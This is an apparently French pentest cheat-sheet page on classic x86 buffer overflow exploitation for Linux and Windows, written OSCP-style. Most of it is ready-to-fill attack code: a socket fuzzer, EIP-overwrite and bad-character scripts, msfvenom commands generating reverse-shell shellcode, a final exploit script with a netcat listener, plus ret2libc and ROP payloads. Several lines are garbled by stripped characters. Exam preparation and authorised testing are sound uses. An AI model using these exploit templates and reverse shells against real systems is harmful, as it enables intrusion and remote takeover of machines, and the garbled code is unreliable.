MDstable
NoteSnippetChecklistPlaybook

Buffer Overflow — x86 Linux & Windows

Fuzzing, contrôle EIP, shellcode, bad chars, ret2libc — exploit BoF classique

snippetadvanced 2025-05-13 4 min read
buffer-overflowbofshellcodeexploitEIPx86pentestOSCP

Méthodologie BoF classique (OSCP-style)

1 Fuzzer trouver la taille du crash
2 Offset localiser loffset prcis vers EIP
3 Contrler EIP confirmer loverwrite
4 Bad chars identifier les caractres interdits
5 Trouver le JMP ESP pointeur de retour valide
6 Shellcode gnrer et placer
7 Exploit excuter

1. Fuzzer

python
Variables
{{TARGET_IP}}
{{PORT}}
#!/usr/bin/env python3
import socket, time, sys
{{TARGET_IP}} = "{{TARGET_IP}}"
{{PORT}} = {{PORT}}
payload = b"A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(({{TARGET_IP}}, {{PORT}}))
s.recv(1024)
print(f"[*] Sending {len(payload)} bytes")
s.send(b"OVERFLOW " + payload + b"\r\n")
s.recv(1024)
except Exception as e:
print(f"[!] Crash at {len(payload)} bytes: {e}")
sys.exit()
payload += b"A" * 100
time.sleep(0.5)

2. Trouver l'offset exact

bash
# Générer un pattern cyclique
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# ou msf-pattern_create -l 3000
# Envoyer le pattern au programme
# Observer EIP dans le debugger (Immunity, x64dbg, GDB)
# EIP = 6F43396E par exemple
# Trouver l'offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q
# ou msf-pattern_offset -l 3000 -q 6F43396E
# → Exact match at offset 1978

3. Confirmer le contrôle EIP

python
Variables
{{TARGET_IP}}
{{PORT}}
#!/usr/bin/env python3
import socket
offset = 1978 # à adapter
payload = b"A" * offset
payload += b"B" * 4 # EIP → 42424242
payload += b"C" * 16 # ESP
with socket.socket() as s:
s.connect(("{{TARGET_IP}}", {{PORT}}))
s.recv(1024)
s.send(b"OVERFLOW " + payload + b"\r\n")
# EIP doit afficher 42424242 dans le debugger

4. Trouver les bad chars

python
# Générer tous les bytes 0x01 à 0xFF (0x00 est presque toujours bad)
badchars = b"".join(bytes([i]) for i in range(1, 256))
payload = b"A" * offset
payload += b"B" * 4 # EIP
payload += badchars
# Envoyer, observer le dump ESP dans le debugger
# Chercher où la séquence se coupe ou est modifiée
bash
# Avec mona.py (Immunity Debugger)
mona bytearray -b "\x00"
# Après le crash :
mona compare -f Cmonabytearraybin -a <adresse_ESP>

5. Trouver un JMP ESP

bash
# Mona — chercher dans les modules sans ASLR/DEP/SafeSEH
mona modules
mona jmp -r esp -cpb "\x00\x0a\x0d" # exclure les bad chars
# Si mona n'est pas disponible :
# Chercher l'opcode JMP ESP (0xFF 0xE4) dans les binaires
nasm_shellrb
> jmp esp
> FFE4 # opcode
# Chercher manuellement avec pwndbg/pwntools
python3 -c
import struct
# Chercher 0xFFE4 dans un module chargé
# Rappel : l'adresse ne doit pas contenir de bad chars

6. Générer le shellcode

bash
Variables
{{LHOST}}
{{LPORT}}
# msfvenom — reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}
EXITFUNCthread -b "\x00\x0a\x0d" -f python
# Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}}
-b "\x00" -f python
# Sans metasploit — shellcode custom
# https://shell-storm.org/shellcode/

7. Exploit final

python
Variables
{{TARGET_IP}}
{{PORT}}
{{LPORT}}
#!/usr/bin/env python3
import socket
TARGET = "{{TARGET_IP}}"
PORT = {{PORT}}
offset = 1978
ret_addr = b"\xdf\x14\x50\x62" # adresse JMP ESP en little-endian
nop_sled = b"\x90" * 16 # NOP sled
# Shellcode msfvenom (remplacer avec le vrai)
shellcode = b""
shellcode += b"\xda\xc1\xd9\x74\x24\xf4\x5b..." # payload ici
payload = b"A" * offset
payload += ret_addr
payload += nop_sled
payload += shellcode
with socket.socket() as s:
s.connect((TARGET, PORT))
s.recv(1024)
s.send(b"OVERFLOW " + payload + b"\r\n")
# Écouter :
# nc -lvnp {{LPORT}}

Contournements modernes

ASLR bypass — Brute force (32 bits)

bash
# L'espace d'adressage 32 bits est limité (~16M combinaisons)
# En boucle jusqu'au succès
for i in range65536 exploit

DEP/NX bypass — ret2libc

python
# Trouver l'adresse de system() et "/bin/sh" dans libc
# ldd ./vuln → trouver l'adresse base libc
# readelf -s /lib/libc.so.6 | grep " system"
# strings -a -t x /lib/libc.so.6 | grep "/bin/sh"
libc_base = 0xf7e00000
system = libc_base + 0x3a940
bin_sh = libc_base + 0x15ba0b
exit_addr = libc_base + 0x2e7b0
payload = b"A" * offset
payload += struct.pack("<I", system) # ret addr → system()
payload += struct.pack("<I", exit_addr) # return après system()
payload += struct.pack("<I", bin_sh) # argument = "/bin/sh"

ROP chains

bash
# ROPgadget — trouver des gadgets
ROPgadget --binary /vuln --rop
# pwntools
from pwn import
elf ELF'./vuln'
rop ROPelf
ropcallelfsymbols'system' nextelfsearchb'/bin/sh\x00'
💡 Tip —

Pour OSCP : toujours travailler avec Immunity Debugger + mona.py sur Windows. La séquence complète (fuzz → offset → badchars → JMP ESP → shellcode) est systématique. Le NOP sled de 16 bytes avant le shellcode est suffisant pour absorber les petites variations de stack.

OPS·BRAIN v1.075 notes · Securitylocal